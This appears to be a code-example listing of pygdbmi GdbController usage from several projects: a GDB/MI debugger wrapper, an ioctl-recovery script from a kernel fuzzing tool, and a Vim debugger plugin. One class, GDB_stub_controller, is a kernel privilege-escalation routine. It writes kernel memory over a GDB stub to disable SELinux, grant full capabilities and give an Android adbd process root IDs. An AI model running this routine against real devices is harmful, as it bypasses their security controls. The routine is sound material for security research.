            if 'reason' in rec['payload']:
                if rec['payload']['reason'] == 'breakpoint-hit':
                    self._target_stop_reason = TARGET_STOP_REASON_BP
                elif rec['payload']['reason'] == 'watchpoint-trigger':
                    self._target_stop_reason = TARGET_STOP_REASON_WP
                    self._curr_wp_val = rec['payload']['value']
                elif rec['payload']['reason'] == 'watchpoint-scope':
                    self._target_stop_reason = TARGET_STOP_REASON_WP_SCOPE
                elif rec['payload']['reason'] == 'end-stepping-range':
                    self._target_stop_reason = TARGET_STOP_REASON_STEPPED
                elif rec['payload']['reason'] == 'function-finished':
                    self._target_stop_reason = TARGET_STOP_REASON_FN_FINISHED
                elif rec['payload']['reason'] == 'signal-received':
                    if rec['payload']['signal-name'] == 'SIGINT':
                        self._target_stop_reason = TARGET_STOP_REASON_SIGINT
                    elif rec['payload']['signal-name'] == 'SIGTRAP':
                        self._target_stop_reason = TARGET_STOP_REASON_SIGTRAP
                    else:
                        self._logger.warning('Unknown signal received "%s"!', rec['payload']['signal-name'])
                        self._target_stop_reason = TARGET_STOP_REASON_UNKNOWN
                else:
                    self._logger.warning('Unknown target stop reason "%s"!', rec['payload']['reason'])
                    self._target_stop_reason = TARGET_STOP_REASON_UNKNOWN
            else:
                self._target_stop_reason = TARGET_STOP_REASON_UNKNOWN
        elif rec['message'] == 'running':
            self._target_state = TARGET_STATE_RUNNING

    def _parse_mi_resp(self, new_resp, new_tgt_state):
        result = None
        result_body = None
        old_state = self._target_state
        # if any cached records go first
        resp = self._resp_cache + new_resp
        processed_recs = 0
        for rec in resp:
            processed_recs += 1
            if rec['type'] == 'log':
                self._logger.debug('LOG: %s', pformat(rec['payload']))
                for hnd in self.stream_handlers['log']:
                    hnd(rec['type'], rec['stream'], rec['payload'])
            elif rec['type'] == 'console':
                self._logger.info('CONS: %s', pformat(rec['payload']))
                for hnd in self.stream_handlers['console']:
                    hnd(rec['type'], rec['stream'], rec['payload'])
            elif rec['type'] == 'target':
                self._logger.debug('TGT: %s', pformat(rec['payload']))
                for hnd in self.stream_handlers['target']:
                    hnd(rec['type'], rec['stream'], rec['payload'])
            elif rec['type'] == 'notify':
                self._logger.info('NOTIFY: %s %s', rec['message'], pformat(rec['payload']))
                self._on_notify(rec)
                # stop upon result receiption if we do not expect target state change
                if self._target_state != old_state and self._target_state == new_tgt_state:
                    self._logger.debug('new target state %d', self._target_state)
                    break
            elif rec['type'] == 'result':
                self._logger.debug('RESULT: %s %s', rec['message'], pformat(rec['payload']))
                result = rec['message']
                result_body = rec['payload']
                # stop upon result reception if we do not expect target state change
                if not new_tgt_state:
                    break
        # cache unprocessed records
        self._resp_cache = resp[processed_recs:]
        # self._logger.debug('cached recs: %s', pformat(self._resp_cache))
        return result, result_body

    def _mi_cmd_run(self, cmd, new_target_state=None, response_on_success=["done"], tmo=5):
        def is_sublist(what, where):
            for i in range(len(where)):
                if what == where[i:i + len(what)]:
                    return True
            return False

        def _mi_cmd_isdone(response, response_on_success):
            if not len(response_on_success):
                return True
            if len(response) < len(response_on_success):
                return False
            r_list = [str(i.get('message')) for i in response]
            return is_sublist(response_on_success, r_list)

        self._logger.debug('MI->: %s', cmd)
        response = []
        end = time.time()
        # lock_tmo = end - curr_time if end > curr_time else 0
        if tmo is not None:
            end += tmo * self.tmo_scale_factor
            if not self._gdbmi_lock.acquire(timeout=tmo*self.tmo_scale_factor):
                raise DebuggerTargetStateTimeoutError("Failed to wait for GDB/MI to become ready!")
            done = False
            try:
                self._gdbmi.write(cmd, read_response=False)
                while time.time() <= end and not done:  # while time is not up
                    r = self._gdbmi.get_gdb_response(timeout_sec=0, raise_error_on_timeout=False)
                    response += r
                    done = _mi_cmd_isdone(response, response_on_success)
            except Exception as e:
                self._gdbmi.verify_valid_gdb_subprocess()
        else:
            self._gdbmi_lock.acquire()
            while len(response) == 0:
                response = self._gdbmi.write(cmd, raise_error_on_timeout=False)
        self._logger.debug('MI<-:\n%s', pformat(response))
        res, res_body = self._parse_mi_resp(response, new_target_state)  # None, None if empty
        while not res:
            # check for result report from GDB
            response = self._gdbmi.get_gdb_response(0, raise_error_on_timeout=False)
            if not len(response):
                if tmo is not None and (time.time() >= end):
                    self._gdbmi_lock.release()
                    raise DebuggerTargetStateTimeoutError(
                        'Failed to wait for completion of command "%s" / %s!' % (cmd, tmo * self.tmo_scale_factor))
            else:
                self._logger.debug('MI<-:\n%s', pformat(response))
                res, res_body = self._parse_mi_resp(response, new_target_state)  # None, None if empty
        self._gdbmi_lock.release()
        return res, res_body

    def stream_handler_add(self, stream_type, handler):
        if stream_type not in self.stream_handlers:
            raise DebuggerError('Unsupported stream type "%s"' % stream_type)
        if handler in self.stream_handlers[stream_type]:
            return
        self.stream_handlers[stream_type].append(handler)

    def stream_handler_remove(self, stream_type, handler):
        if stream_type not in self.stream_handlers:
            raise DebuggerError('Unsupported stream type "%s"' % stream_type)
        if handler not in self.stream_handlers[stream_type]:
            return
        self.stream_handlers[stream_type].remove(handler)

    def gdb_exit(self, tmo=5):
        """ -gdb-exit ~= quit """
        self._mi_cmd_run("-gdb-exit", response_on_success=["exit"], tmo=tmo)
        with self._gdbmi_lock:
            self._gdbmi.exit()
            self._gdbmi = None

    def console_cmd_run(self, cmd, response_on_success=["done"], tmo=5):
        """
        Execute a command in the console mode

        Parameters
        ----------
        cmd : str
        response_on_success : list
            list of expected responses on success
        tmo : int
            time after that command will be considered as failed

        Returns
        -------
        res, res_body
        """
        return self._mi_cmd_run("-interpreter-exec console \"%s\"" % cmd, response_on_success=response_on_success, tmo=tmo)

    def target_select(self, tgt_type, tgt_params, tmo=5):
        # -target-select type parameters
        res, _ = self._mi_cmd_run('-target-select %s %s' % (tgt_type, tgt_params),
                                  response_on_success=["connected"], tmo=tmo)
        if res != 'connected':
            raise DebuggerError('Failed to connect to "%s %s"!' % (tgt_type, tgt_params))

    def target_disconnect(self):
        # -target-disconnect
        self._mi_cmd_run('-target-disconnect')

    def target_reset(self, action='halt', tmo=5):
        self.monitor_run('reset %s' % action)
        if action == 'halt':
            self.wait_target_state(TARGET_STATE_STOPPED, tmo=tmo)
            self.console_cmd_run('flushregs')

    def exec_file_set(self, file_path):
        # -file-exec-and-symbols file
        local_file_path = file_path
        if os.name == 'nt':
            # Convert filepath from Windows format if needed
            local_file_path = local_file_path.replace("\\", "/")
        res, _ = self._mi_cmd_run('-file-exec-and-symbols %s' % local_file_path)
        if res != 'done':
            raise DebuggerError('Failed to set program file!')

    def exec_file_core_set(self, file_path):
        local_file_path = file_path
        if os.name == 'nt':
            # Convert filepath from Windows format if needed
            local_file_path = local_file_path.replace("\\", "/")
        res, _ = self.console_cmd_run("core %s" % local_file_path)  # TODO find/add mi-command for this

        if res != 'done':
            raise DebuggerError('Failed to set the core file!')

    def exec_interrupt(self):
        # -exec-interrupt [--all|--thread-group N]
        res, _ = self._mi_cmd_run('-exec-interrupt --all')
        if res != 'done':
            raise DebuggerError('Failed to stop program!')

    def exec_continue(self):
        # -exec-continue [--reverse] [--all|--thread-group N]
        res, _ = self._mi_cmd_run('-exec-continue --all', response_on_success=["running"])
        if res != 'running':
            raise DebuggerError('Failed to continue program!')

    def file_cmd_run(self, path, tmo=5):
        """
        Parameters
        ----------
        path : str
        tmo : int
        """
        if os.name == 'nt':
            path = path.replace("\\", "/")
        # BUG: using commands changing prompt type like 'commands' is not supported
        self.console_cmd_run('source %s' % path, tmo=tmo)

    def exec_run(self, start_func='main', startup_tmo=5, only_startup=False):
        """
        Executes a startup command file in the beginning if it specified and then
        executes `-exec-run [ --start ]` mi-command

        Parameters
        ----------
        start_func : str
            if not empty `exec_run` works like `start` stopping on the main function, otherwise - as `run`
        startup_tmo : int
            timeout for startup command file's execution
        only_startup :bool
            execute only a startup command file omitting `run`/`start` logic
        """
        if self.prog_startup_cmdfile:
            self.file_cmd_run(self.prog_startup_cmdfile, tmo=startup_tmo)
        if only_startup:
            return
        if start_func:  # if the start function specified execute `start`
            res, _ = self._mi_cmd_run('-exec-run --all --start', response_on_success=["running"])  # stop on main()
            if start_func != 'main':  # if we are want to use another function as a start function
                self.wait_target_state(TARGET_STATE_STOPPED, 5)  # check if we are really stopped
                self.add_bp(start_func, tmp=True)  # add a bp at the custom start function
                self.exec_continue()  # and continue
        else:  # if the start function is not specified execute `run`
            res, _ = self._mi_cmd_run('-exec-run --all', response_on_success=["running"])
        if res != 'running':
            raise DebuggerError('Failed to run program!')

    def exec_jump(self, loc):
        # -exec-jump location
        res, _ = self._mi_cmd_run('-exec-jump %s' % loc, response_on_success=["running"])
        if res != 'running':
            raise DebuggerError('Failed to make jump in program!')

    def exec_next(self):
        # -exec-next [--reverse]
        res, _ = self._mi_cmd_run('-exec-next', response_on_success=["running"])
        if res != 'running':
            raise DebuggerError('Failed to step over!')

    def exec_step(self):
        # -exec-step [--reverse]
        res, _ = self._mi_cmd_run('-exec-step', response_on_success=["running"])
        if res != 'running':
            raise DebuggerError('Failed to step in!')

    def exec_finish(self):
        # -exec-finish [--reverse]
        res, _ = self._mi_cmd_run('-exec-finish', response_on_success=["running"])
        if res != 'running':
            raise DebuggerError('Failed to step out!')

    def exec_next_insn(self):
        # -exec-next-instruction [--reverse]
        res, _ = self._mi_cmd_run('-exec-next-instruction', response_on_success=["running"])
        if res != 'running':
            raise DebuggerError('Failed to step insn!')

    def data_eval_expr(self, expr):
        # -data-evaluate-expression expr
        res, res_body = self._mi_cmd_run('-data-evaluate-expression "%s"' % expr, tmo=1)
        if res == "done" and 'value' in res_body:
            return res_body['value']
        elif res == "error" and 'msg' in res_body:
            return res_body['msg']
        else:
            raise DebuggerError('Failed to eval expression!')

    @staticmethod
    def extract_exec_addr(addr_val):
        sval_re = re.search('(.*)[<](.*)[>]', addr_val)
        if sval_re:
            return int(sval_re.group(1), 0)
        return int(addr_val, 0)

    def get_reg(self, nm):
        sval = self.data_eval_expr('$%s' % nm)
        # for PC we'll get something like '0x400e0db8 <gpio_set_direction>'
        return self.extract_exec_addr(sval)

    def set_reg(self, nm, val):
        return self.data_eval_expr('$%s=%s' % (nm, str(val)))

    def get_reg_names(self, reg_no=[]):
        # -data-list-register-names [ ( regno )+ ]
        res, res_body = self._mi_cmd_run('-data-list-register-names %s' % ' '.join(str(x) for x in reg_no))
        if res == "done" and 'register-names' in res_body:
            return res_body['register-names']
        else:
            raise DebuggerError('Failed to get registers names!')

    def get_reg_values(self, fmt, skip_unavailable=False, reg_no=[]):
        #  -data-list-register-values [ --skip-unavailable ] fmt [ ( regno )*]
        res, res_body = self._mi_cmd_run('-data-list-register-values %s %s %s' % \
                                        ('--skip-unavailable' if skip_unavailable else '', fmt, ' '.join(str(x) for x in reg_no)))
        if res == "done" and 'register-values' in res_body:
            return res_body['register-values']
        else:
            raise DebuggerError('Failed to get registers values!')

    def gdb_set(self, var, val):
        res, _ = self._mi_cmd_run("-gdb-set %s %s" % (var, val))
        if res != "done":
            raise DebuggerError('Failed to set variable!')

    def get_variables(self, thread_num=None, frame_num=0):
        # -stack-list-variables [ --no-frame-filters ] [ --skip-unavailable ] print-values
        if thread_num is not None:
            cmd = '-stack-list-variables --thread %d --frame %d --all-values' % (thread_num, frame_num)
        else:
            cmd = '-stack-list-variables --all-values'
        res, res_body = self._mi_cmd_run(cmd)
        if res != 'done' or not res_body or 'variables' not in res_body:
            raise DebuggerError('Failed to get variables @ frame %d of thread %d!' % (frame_num, thread_num))
        return res_body['variables']

    def get_local_variables(self, no_values=False):
        # -stack-list-variables [ --no-frame-filters ] [ --skip-unavailable ] print-values
        # noinspection PyTypeChecker
        cmd = '-stack-list-locals %i' % int(not no_values)
        res, res_body = self._mi_cmd_run(cmd)
        if res != 'done' or not res_body or 'locals' not in res_body:
            raise DebuggerError('Failed to get variables @ frame')
        return res_body['locals']

    def get_backtrace(self):
        # -stack-list-frames [ --no-frame-filters low-frame high-frame ]
        res, res_body = self._mi_cmd_run('-stack-list-frames')
        if res != 'done' or not res_body or 'stack' not in res_body:
            raise DebuggerError('Failed to get backtrace! (%s / %s)' % (res, res_body))
        return res_body['stack']

    def select_frame(self, frame):
        # -stack-select-frame framenum
        res, _ = self._mi_cmd_run('-stack-select-frame %d' % frame)
        if res != 'done':
            raise DebuggerError('Failed to get backtrace!')

    def add_bp(self, loc, ignore_count=0, cond='', hw=False, tmp=False):
        # -break-insert [ -t ] [ -h ] [ -f ] [ -d ] [ -a ] [ -c condition ] [ -i ignore-count ]
        # [ -p thread-id ] [ location ]
        cmd_args = '-i %d %s' % (ignore_count, loc)
        if len(cond):
            cmd_args = '-c "%s" %s' % (cond, cmd_args)
        if hw:
            cmd_args = "-h " + cmd_args
        if tmp:
            cmd_args = "-t " + cmd_args
        res, res_body = self._mi_cmd_run('-break-insert %s' % cmd_args)
        if res != 'done' or not res_body or 'bkpt' not in res_body or 'number' not in res_body['bkpt']:
            raise DebuggerError('Failed to insert BP!')
        return res_body['bkpt']['number']

    def add_wp(self, exp, tp='w'):
        # -break-watch [ -a | -r ] expr
        cmd_args = '"%s"' % exp
        if tp == 'r':
            cmd_args = '-r %s' % cmd_args
        elif tp == 'rw':
            cmd_args = '-a %s' % cmd_args
        res, res_body = self._mi_cmd_run('-break-watch %s' % cmd_args)
        if res != 'done' or not res_body:
            raise DebuggerError('Failed to insert WP!')
        if tp == 'w':
            if 'wpt' not in res_body or 'number' not in res_body['wpt']:
                raise DebuggerError('Failed to insert WP!')
            return res_body['wpt']['number']
        elif tp == 'r':
            if 'hw-rwpt' not in res_body or 'number' not in res_body['hw-rwpt']:
                raise DebuggerError('Failed to insert RWP!')
            return res_body['hw-rwpt']['number']
        elif tp == 'rw':
            if 'hw-awpt' not in res_body or 'number' not in res_body['hw-awpt']:
                raise DebuggerError('Failed to insert AWP!')
            return res_body['hw-awpt']['number']
        return None

    def delete_bp(self, bp):
        # -break-delete ( breakpoint )+
        res, _ = self._mi_cmd_run('-break-delete %s' % bp)
        if res != 'done':
            raise DebuggerError('Failed to delete BP!')

    def monitor_run(self, cmd, tmo=None, output_type=None):
        target_output = ''
        def _target_stream_handler(type, stream, payload):
            nonlocal target_output
            if output_type == 'any' or stream == output_type:
                target_output += payload
        self.stream_handler_add('target', _target_stream_handler)
        try:
            res, resp = self._mi_cmd_run('mon %s' % cmd, tmo=tmo)
        finally:
            self.stream_handler_remove('target', _target_stream_handler)
        if res != 'done':
            raise DebuggerError('Failed to run monitor cmd "%s"!' % cmd)
        return resp,target_output

    def wait_target_state(self, state, tmo=None):
        """
        Parameters
        ----------
        state : int
        tmo : int
        Returns
        -------
        stop_reason : int
        """
        end = curr_time = time.time()
        if tmo is not None:
            end += tmo * self.tmo_scale_factor
        while True:
            lock_tmo = end - curr_time if end > curr_time else 0
            if not self._gdbmi_lock.acquire(timeout=lock_tmo):
                raise DebuggerTargetStateTimeoutError("Failed to wait for target state %d! Current state %d" % (state, self._target_state))
            # check for target state change report from GDB
            recs = self._gdbmi.get_gdb_response(0.5, raise_error_on_timeout=False)
            self._parse_mi_resp(recs, state)
            self._gdbmi_lock.release()
            if self._target_state == state:
                break
            curr_time = time.time()
            if tmo is not None and curr_time >= end:
                raise DebuggerTargetStateTimeoutError("Failed to wait for target state %d! Current state %d" % (state, self._target_state))
        return self._target_stop_reason

    def get_target_state(self):
        return self._target_state, self._target_stop_reason

    def get_current_frame(self):
        return self._curr_frame

    def get_current_wp_val(self):
        return self._curr_wp_val

    def connect(self, tmo=10):
        if not self._remote_target:
            self._logger.debug('Skipped connection to remote target')
            return
        self._logger.debug('Connecting to %s', self._remote_target)
        remote_mode = 'extended_remote' if self._extended_remote_mode else 'remote'
        self.target_select(remote_mode, self._remote_target, tmo=tmo)

    def disconnect(self):
        self.target_disconnect()

    def resume(self):
        self.exec_continue()
        self.wait_target_state(TARGET_STATE_RUNNING, 5)

    def halt(self):
        if self._target_state == TARGET_STATE_STOPPED:
            return
        self.exec_interrupt()
        self.wait_target_state(TARGET_STATE_STOPPED, 5)

    def get_thread_info(self, thread_id=None):
        """

        Parameters
        ----------
        thread_id : int or None
            thread to info if exists

        Returns
        -------
        current-thread-id : str
        threads : dict
        """
        # -thread-info [ thread-id ]
        if thread_id:
            cmd = '-thread-info %d' % thread_id
        else:
            cmd = '-thread-info'
        # streaming of info for all threads over gdbmi can take some time, so use large timeout value
        res, res_body = self._mi_cmd_run(cmd, tmo=20)
        # if res != 'done' or not res_body or 'threads' not in res_body or 'current-thread-id' not in res_body:
        if res != 'done' or not res_body or 'threads' not in res_body:  # TODO verify removing current-thread-id
            raise DebuggerError('Failed to get thread info!')
        return res_body.get('current-thread-id', None), res_body['threads']

    def select_thread(self, num):
        res, _ = self._mi_cmd_run('-thread-select %d' % num)
        if res != 'done':
            raise DebuggerError('Failed to set thread!')
        return res

    def set_thread(self, num):
        """Old-named method. For backward compatibility"""
        return self.select_thread(num)

    def get_thread_ids(self):
        # -thread-list-ids expr
        res, thread_ids = self._mi_cmd_run('-thread-list-ids')
        if res != 'done':
            raise DebuggerError('Failed to eval expression!')
        return thread_ids

    def get_selected_thread(self):
        #
        sel_id, ths = self.get_thread_info()
        for th in ths:
            if th['id'] == sel_id:
                return th
        return None

    def target_program(self, **kwargs):
        return None

    def set_prog_startup_script(self, path):
        """
        Set up a startup command file which will be executed in the beginning of `exec_run` method.
        See : https://sourceware.org/gdb/current/onlinedocs/gdb/Command-Files.html#Command-Files

        Parameters
        ----------
        path : str or None
            path to the command file. If None the script will not be executed

        """
        if os.path.isfile(path):
            self.prog_startup_cmdfile = os.path.normpath(path)
        else:
            raise FileNotFoundError
コード例 #28
0
class GDB_stub_controller(object):
    def __init__(self, options):
        self.options = options
        logging.info(
            " [+] Start the GDB controller and attach it to the remote target")
        logging.info(" [+] GDB additional timeout value is %d" %
                     int(options.timeout))
        self.gdb = GdbController(
            time_to_check_for_additional_output_sec=int(options.timeout))
        response = self.gdb.write("target remote :1234")

    def stop(self):
        logging.info(" [+] Detach and stop GDB controller")
        self.gdb.exit()

    def write(self, addr, val):
        logging.info(" [+] gdb.write adr: %#x value : %#x" % (addr, val))
        self.gdb.write("set *(unsigned int*) (%#x) = %#x" % (addr, val))

    def read(self, addr):
        r = self.gdb.write("x/6xw %#x" %
                           addr)[1].get('payload').split('\\t')[1]
        logging.info(" [+] Gdb.read %s " % (r))
        r = int(r, 16)
        return r
        #int(self.gdb.write("x/6xw %#x" % addr)[1].get('payload').split('\\t')[1],16)

    '''
    This function sets SELinux enforcement to permissive
    '''

    def disable_selinux(self):
        logging.info("[+] Disable SELinux")
        logging.info("[+] Offsets are  %s - %s - %s " %
                     (hex(self.options.offset_selinux[0]),
                      hex(self.options.offset_selinux[0]),
                      hex(self.options.offset_selinux[0])))

        self.write(self.options.offset_selinux[0], 0)
        self.write(self.options.offset_selinux[1], 0)
        self.write(self.options.offset_selinux[2], 0)

    '''
    This function sets all capabilities of a task to 1
    '''

    def set_full_capabilities(self, cred_addr):
        logging.info("[+] Set full capabilities")
        for ofs in [0x30, 0x34, 0x38, 0x3c, 0x40, 0x44]:
            self.write(cred_addr + ofs, 0xffffffff)

    '''
    This function sets all Linux IDs of a task to 0 (root user)
    @effective: if False, effective IDs are not modified 
    '''

    def set_root_ids(self, cred_addr, effective=True):
        logging.info("[+] Set root IDs")
        for ofs in [0x04, 0x08, 0x0c, 0x10, 0x1c,
                    0x20]:  # uid, gid, suid,sgid, fsuid, fsgid
            self.write(cred_addr + ofs, 0x00000000)
        if effective:
            self.write(cred_addr + 0x14, 0x00000000)  # euid
            self.write(cred_addr + 0x18, 0x00000000)  # egid
        else:
            logging.info("[+] Note: effective ID have not been changed")

    '''
    This function returns the task_struct addr for a given process name
    '''

    def get_process_task_struct(self, process):
        logging.info(" [+] Get address aligned whose process name is: [%s]" %
                     process)
        logging.info("[+] GDB timeout is %d" % int(options.timeout))
        response = self.gdb.write("find 0xc0000000, +0x40000000, \"%s\"" %
                                  process,
                                  raise_error_on_timeout=True,
                                  read_response=True,
                                  timeout_sec=int(options.timeout))
        # author : m00dy , 15/11/2018
        # response[0] contains the gdb command line
        # I remove the first element before looping in response list
        response.pop(0)
        addresses = []
        for m in response:
            # check if the payload starts with 0x because a response could be an error
            if m.get('payload') != None and m.get('payload')[:-2].startswith(
                    '0x'):
                #print (" payload is %s "%(m.get('payload')[:-2]))
                val = int(m.get('payload')[:-2], 16)
                if val % 16 == self.options.offset_to_comm % 16:
                    addresses.append(val)

        for a in addresses:
            response = self.gdb.write("x/6xw %#x" % (a - (8 % 16)))
            magic_cred_ptr = response[1].get('payload').split('\\t')
            magic_addr = ""
            if (magic_cred_ptr[1] != 0
                    and (magic_cred_ptr[1]) == (magic_cred_ptr[2])):
                magic_addr = a
                return magic_addr - self.options.offset_to_comm
        return 0

    '''
    This function returns the cred_struct address of adbd process from a given stager process
    '''

    def get_adbd_cred_struct(self, stager_addr):
        logging.info("[+] Search adbd task struct in the process hierarchy")
        adbd_cred_ptr = ""
        cur = stager_addr
        while True:
            parent_struct_addr = int(
                self.gdb.write("x/6xw %#x" %
                               (cur + self.options.offset_to_comm -
                                self.options.offset_to_parent))[1].get(
                                    'payload').split('\\t')[1], 16)
            print(parent_struct_addr)
            parent_struct_name = self.gdb.write(
                "x/s %#x" %
                (parent_struct_addr + self.options.offset_to_comm))[1].get(
                    'payload').split('\\t')[1]
            if (str(parent_struct_name) == r'\"adbd\"'):
                adbd_cred_ptr = int(
                    self.gdb.write(
                        "x/6xw %#x" %
                        (parent_struct_addr + self.options.offset_to_comm -
                         4))[1].get('payload').split('\\t')[1], 16)
                break
            cur = parent_struct_addr
        return adbd_cred_ptr
コード例 #29
0
ファイル: gdbioctl.py プロジェクト: ufwt/HIAFuzz
def main():
    parser = argparse.ArgumentParser()
    # Ex: python3 gdbioctl.py -v /workspace/difuze/AndroidKernels/kindle_fire_7/WORKSPACE_DIR/out2/vmlinux -f /workspace/difuze/AndroidKernels/kindle_fire_7/WORKSPACE_DIR/out/kindle7_device_ioctl.txt
    # Ex: python3 gdbioctl.py -v /workspace/difuze/AndroidKernels/kindle_fire_7/WORKSPACE_DIR/out2/vmlinux -f /workspace/difuze/AndroidKernels/kindle_fire_7/WORKSPACE_DIR/out/kindle7_device_ioctl.txt
    #parser.add_argument('-o', action='store', dest='ioctl_out', help='Destination directory where all the generated interface should be stored.')
    parser.add_argument(
        '-v',
        action='store',
        dest='vmlinux',
        help=
        'Path of the vmlinux image. The recovered ioctls are stored in this folder.'
    )
    parser.add_argument(
        '-f',
        action='store',
        dest='device_ioctl_file',
        help=
        'The file that conations ioctl and corresponding device file names, Ex: /dev/alarm alarm_ioctl.'
    )
    olddir = os.getcwd()

    parsed_args = parser.parse_args()
    print('%s:%s' % (parsed_args.device_ioctl_file, 5))
    #Before make vmlinux, these steps should be taken.
    '''
    for f in `find . -name Makefile`; do sed -i "s/-g /-g3 /g" $f; done
    for f in `find . -name Makefile`; do sed -i "s/-g$/-g3/g" $f; done
    With make, add this CONFIG_DEBUG_SECTION_MISMATCH=y flag to xxxdeconfig.
    '''
    #Add flag: -fno-inline-functions-called-once

    os.chdir(os.path.dirname(parsed_args.vmlinux))
    outdir = os.path.join(os.path.dirname(parsed_args.vmlinux),
                          'ioctl_finder_out')
    outdir2 = os.path.join(os.path.dirname(parsed_args.vmlinux),
                           'ioctl_preprocessed_out')

    if not os.path.exists(outdir):
        os.mkdir(outdir)
    if not os.path.exists(outdir2):
        os.mkdir(outdir2)

    ioctl_set = []
    #ff = open('/workspace/difuze/AndroidKernels/huawei/mate9/fuben/Code_Opensource/out/ioctls', 'r')
    with open(parsed_args.device_ioctl_file, 'r') as ff:
        ioctl_set = [x.strip() for x in ff.readlines()]

    device_dict = {}
    ioctl_list = []
    if ' ' in ioctl_set[0]:  # Contains devname
        for device_ioctl in ioctl_set:
            device_name, ioctl_name = device_ioctl.split(' ')
            device_dict[ioctl_name] = device_name
            ioctl_list.append(ioctl_name)

        ioctl_set = set(ioctl_list)
        print(device_dict)

    if DEBUG:
        ioctl_set.clear()
        ioctl_set.append('main')
    print(ioctl_set)

    #for aioctl in ioctl_set:
    for aioctl, device_name in device_dict.items():
        print('handling %s' % aioctl)
        ioctl_set.remove(aioctl)
        gdbmi = GdbController()
        response = gdbmi.write('file %s' % parsed_args.vmlinux)
        sourcefile_line_dict = get_line_file_for_ioctl_function_from_gdb(
            gdbmi, aioctl, allow_multi=True)
        item_count = 0
        for sourcefile, line in sourcefile_line_dict.items():
            if sourcefile == '':
                continue
            #if sourcefile[0] != '/':
            #    sourcefile = '/workspace/difuze/dwarf/test/'+sourcefile
            print('%s:%d' % (sourcefile, line))
            cmds_vars = handle_subprogram(gdbmi,
                                          source_name=sourcefile,
                                          decl_line=line,
                                          function_name=aioctl,
                                          depth=0,
                                          list_subprograms=[])
            #print(cmds_vars)
            cmdstypes, restruct = handle_BEGINTYPE_ENDTYPE(gdbmi, cmds_vars)

            if restruct is not None:
                if item_count == 0:
                    processed_filename = os.path.join(outdir2,
                                                      aioctl + '.processed')
                    txt_filename = os.path.join(outdir, aioctl + '.txt')
                else:
                    processed_filename = os.path.join(
                        outdir2, aioctl + str(item_count) + '.processed')
                    txt_filename = os.path.join(
                        outdir, aioctl + str(item_count) + '.txt')

                with open(processed_filename, 'w') as f:
                    f.write(restruct)
                    print(processed_filename + ':1')
            if cmdstypes is not None:
                with open(txt_filename, 'w') as f:
                    f.write('O yeah...\n[+] Provided Function Name: %s\n' %
                            aioctl)
                    if device_dict == {}:
                        f.write('Device Name: tododevname\n')
                    else:
                        f.write('Device Name: %s\n' % device_dict[aioctl])
                    f.write(assign_macros(gdbmi, cmdstypes))
                    f.write('Compl Preprocessed file:%s\n' %
                            processed_filename)
                    f.write('ALL PREPROCESSED FILES:\n')
                    print(txt_filename + ':10')
            item_count += 1

        gdbmi.exit()
        time.sleep(2)

    if len(ioctl_set) == 0:
        print("All ioctl functions are found.")
    else:
        print("%d ioctl functions are not found." % len(ioctl_set))
        print(ioctl_set)
    os.chdir(olddir)
    print('Recovered interfaces are sotred in:\n%s\n%s' % (outdir, outdir2))
    print("Goodbye!")
コード例 #30
0
ファイル: controller.py プロジェクト: lenfien/gdb.vim
class Controller():  # pylint: disable=too-many-instance-attributes
    """ Thread object that handles GDB events and commands. """
    def __init__(self, vimx):
        """ Creates the GDB SBDebugger object and more! """
        import logging
        self.logger = logging.getLogger(__name__)

        self.dbg = None

        self._proc_cur_line_len = 0
        self._proc_lines_count = 0

        self.result_queue = []

        self.vimx = vimx
        self.busy_stack = 0  # when > 0, buffers are not updated
        self.buffers = VimBuffers(self, vimx)
        self.session = Session(self, vimx)

    def dbg_start(self):
        if self.dbg is None:
            self.dbg = GdbController()

    def dbg_interrupt(self):
        self.dbg.gdb_process.send_signal(SIGINT)  # what if remote process?

    def dbg_stop(self):
        self.dbg.exit()
        self.dbg = None
        self.logger.info('Terminated!')

    def is_busy(self):
        return self.busy_stack > 0

    def busy_more(self):
        self.busy_stack += 1

    def busy_less(self):
        self.busy_stack -= 1
        if self.busy_stack < 0:
            self.logger.critical("busy_stack < 0")
            self.busy_stack = 0

    def get_program_counters(self):
        return []

    def get_breakpoints(self):
        return []

    def serialize_mijson(self, result):
        out = "message: {}, stream: {}, token: {}, type: {}\n".format(
            result.get('message'), result.get('stream'), result.get('token'),
            result.get('type'))
        payload = result.get('payload')
        if isinstance(payload, str):
            payload = payload.encode('utf8').decode('unicode_escape')
        else:
            payload = str(payload)
        out += "{}\n".format(payload)
        self.buffers.logs_append(out, u'\u2713')

    def execute(self, command):
        """ Run command in the interpreter, refresh all buffers, and display the
            result in the logs buffer. Returns True if succeeded.
        """
        self.buffers.logs_append(u'\u2192(gdb) {}\n'.format(command))
        result = self.get_command_result(command)
        if result is not None:
            self.serialize_mijson(result)
        else:
            self.logs_append("error\n", u'\u2717')

        self.update_buffers()

    def complete_command(self, arg, line, pos):
        """ Returns a list of viable completions for line, and cursor at pos. """
        # TODO complete the first word?
        return []

    def update_buffers(self, buf=None):
        """ Update gdb buffers and signs placed in source files.
            @param buf
                If None, all buffers and signs would be updated.
                Otherwise, update only the specified buffer.
        """
        if self.is_busy():
            return
        if buf is None:
            self.buffers.update()
        else:
            self.buffers.update_buffer(buf)

    def bp_set_line(self, spath, line):
        filepath = path.abspath(spath)
        self.buffers.logs_append(u'\u2192(gdb-bp) {}:{}\n'.format(spath, line))
        #self.execute("b {}:{}".format(filepath, line)) #TODO
        #self.update_buffers(buf='breakpoints')

    def do_breakswitch(self, bufnr, line):
        """ Switch breakpoint at the specified line in the buffer. """
        key = (bufnr, line)
        if key in self.buffers.bp_list:
            bp = self.buffers.bp_list[key]
            #self.execute("delete breakpoints {}".format(bp.id)) #TODO
        else:
            self.bp_set_line(self.vimx.get_buffer_name(bufnr), line)

    def do_breakdelete(self, bp_id):
        """ Delete a breakpoint by id """
        #self.execute("breakpoint delete {}".format(bp_id)) #TODO
        pass

    def put_stdin(self, instr):
        #if process is running:
        self.dbg.write(instr, 0, read_response=False)

    def get_command_result(self, command):
        """ Runs command in the interpreter and returns (success, output)
            Not to be called directly for commands which changes debugger state;
            use execute instead.
        """
        #FIXME run only if process is not running?

        if len(self.result_queue) > 0:  # garbage?
            self.logger.warning('result cleaned: %s', self.result_queue.pop())
            self.result_queue = []  # clean
        self.logger.info('(gdb) %s', command)
        self.dbg.write(command, 0, read_response=False)

        count = 0
        while len(self.result_queue) == 0:
            self.poke()
            count += 1
            if count > 8:
                self.logger.warning('(gdb-no-result) %s', command)
                return None
        result = self.result_queue.pop()
        return result

    def poke(self):
        """ Pokes the gdb process for responses. """
        if self.dbg is None:
            raise ValueError('Poked a non-existent dbg!')
        try:
            responses = self.dbg.get_gdb_response(timeout_sec=0.5)
        except ValueError as e:
